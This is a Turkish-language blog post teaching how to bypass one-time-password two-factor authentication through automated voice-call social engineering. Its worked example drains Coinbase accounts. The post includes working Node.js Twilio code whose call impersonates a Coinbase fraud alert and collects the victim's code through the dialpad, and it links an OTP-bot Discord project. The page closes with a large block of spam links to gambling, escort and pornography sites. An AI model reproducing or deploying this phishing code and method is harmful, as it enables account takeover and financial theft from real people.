IVR ile OTP Bypass Nasıl Yapılır?

Bu makalemizde profesyonel şekilde IVR hizmetlerini kullanarak ?OTP (one-time-password) yada diğer adıyla iki adımlı doğrulama kullanan hesaplara yada sistemlere gireceğinizi anlatacağım. Yapacağımız işlem sosyal mühendislik olsa da diğer yöntemlere göre başarı oranı çok yüksek diyebilirim. İlk önce bir IVR hizmeti veren bir firmadan api almamız lazım. Twilio bu yapacağımız işlem için güzel makalenin sonunda Twilio için yazılmış bir Discord botu da vereceğim. Siz Twilio yerine farklı apilerde kullanabilirsiniz fark etmez.

Şimdi örnek olarak son dönemlerde bu yöntem ile genellikle coinbase hesapları hackleniyor ve boşaltılıyor. Bizde bu olay üzerinden bir örnek ile gidelim. Mail hesaplarını checkleyen bir arkadaşın hikayesi olsun bu da;

Saldırgan ilk önce mail checker ile coinbase keyword içeren bir mail hesabı crackliyor.

Ekran görüntüsü bize ait değildir.

Hesaba giriş yapmaya çalışıyor ama giriş yapmak için hesabın sahibine gönderilen doğrulama kodunu öğrenmesi bulması lazım.

Phone Verify Issue - Authenticator code not working and not receiving SMS/Text.  Please Help!: CoinBase
Ekran görüntüsü bize ait değildir.

Mail hesabından kullanıcının telefon numarasını öğreniyor. Twilio ile o numaraya arama başlatıyor.

app.post('/coinbase', (request, response) => {
    // Use the Twilio Node.js SDK to build an XML response
    const twiml = new VoiceResponse();

    // Use the <Gather> verb to collect user input
    const gather = twiml.gather({
        action: '/gather',
        method: 'POST',
        input: 'dtmf',
        numDigits: 6,
    });
    gather.say("Automated Alert from Coinbase. Your account has sent 250$ to an insecure and fraudulent address. Please provide the one time passcode we just sent you in the dialpad.")

    response.type('text/xml');
    response.send(twiml.toString());
});

Bot aramayı başlatıyor sonra karşı taraf telefonu açtıktan sonra sesli olarak hedef kişi şunları duyuyor 😀 ” Automated Alert from Coinbase. Your account has sent 250$ to an insecure and fraudulent address. Please provide the one time passcode we just sent you in the dialpad.” bunu duyan kurban ? hemen doğrulama kodunu tuş takımından ? giriyor ve kod panelimize geliyor. ?

Ekran görüntüsü bize ait değildir.

Discord Bot: https://github.com/SirTenzin/OTP-Bot

Twilio API Dökümanları: https://www.twilio.com/docs/voice

2 Yorum

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Başa dön tuşu
hacklink al dizi film izle film izle yabancı dizi izle fethiye escort bayan escort - vip elit escort erotik film izle hack forum türk ifşa the prepared organik hit nulled scriptvozolPendik EscortMaltepe Escortفيديو اباحياباحي عربيhd pornoenobahishilarionbetvozoldownlight armatüriqos heetsDeneme Bonusu Veren Siteleriqos Türkiyebeylikdüzü escortbetturkeystarzbetsıcak sohbet hattızbahiszbahisSahabetbahsegel güncel girişfilme sexoSex VideosreslotTürkiye teslimsahabet-guncel.orgbetturkeyegir.comzbahis.inkzbahis.ccaviatoroyna.protürkçe pornosultanbetsultanbetz books zlibrary booksMarsbahisCasibomwww.buharsaat.com/iqos-terea/youwin girişayvalık zeytinyağıمقاطع سكسسكسcasinomaxivozol 20000xslotmatbetholiganbetJojobethttps://w88oaz.icu/deneme bonusu veren sitelertipobettipobet girişMatbetSahabetOnwinMeritkingBahsegelTipobetTarafbetVdcasinoMariobetBetebetPusulabetkaradağ şirket kurmakHiltonbetkaradağ oturum iznihttps://www.dumandiyarim.com/https://www.elektronikesigaraal.com/meritking 1140jojobetHoliganbetbahiscasinocasibommeritkingsupertotobetbetistBetist güncel girişBetist güncel girişBetist güncel girişBetist güncel girişBetist girişBetist girişBetist girişBetist girişBetist girişBetistSahabettipobet girişcasibom girişcasibom girişGrandpashabet casibomcasibomcasibomcasibom 733Tipobet GirişTipobet GirişBetparkartemisbet girişbetturkeycasibom girişbetkomextrabetbetpasradabettipobetsüpertotobetcasinolevantganobetbets10galabetAresbetbets10 güncelbetexpermilanobetpiabetgoldenbahisaresbetmavibetlunabetmilanobetgoldenbahisbetwoonmilanobetbetnanobetsmoveyouwinsuperbetinbetparkvevobahisparibahisdeneme bonusu veren sitelerdeneme bonusu veren sitelerTipobet GirişJojobetbetriyalcasibommarsbahismatbetjojobetholiganbetBets10padişahbetmeritkingdinamobetkralbetbetkanyonvaycasinoBycasinograndpashabet Jojobetmeritkingmeritking günceljojobet giriş günceljojobet giriş güncelsahabetBets10casibomsahabet girişotobetsekabetmarsbahiswinpapelCasino sitelerigrandpashabetholiganbetsweet bonanza oynaotobettarafbetcasibomTaraftarium24Mostbet TRholiganbetmatadorbetsekabetonwinsahabetgrandpashabetcasinoplusimajbetmatbetmeritking girişbets10 güncelmatadorbet girişholiganbetbetgit girişmersin escort bayantipobet girişbetkanyontipobetromabetTipo betkralbetholiganbetdeneme bonusu veren sitelerodeonbetExtrabetmarsbahisdumanbetbahsegelcratosslottipobetbetebetholiganbetbets10casibomnakitbahismatadorbetmeritkingcasibombets10pusulabetbetboojojobetotobetpulibetmatbetjojobetmarsbahiscasibom girişaresbetgrandpashabetGrandpashabetsophie rain leakMeritking Newssekabetmeritking1xbet girişMeritkingMeritking Telegrammatadorbetkadıköy escortsekabetjojobetjojobetmobilbahisonwincasibomcasibom güncelcasibomcasibomcasibomcasibomcasibom girişbio linkbiyo bağlantıorisbetcasibom girişpornonwinjojobetmatbetsekabetsahabethazbet twitterhazbet twitterjojobet7slots twitterbets10ilbet twitterilbet twitterhitbet twittermatadorbethitbet twitter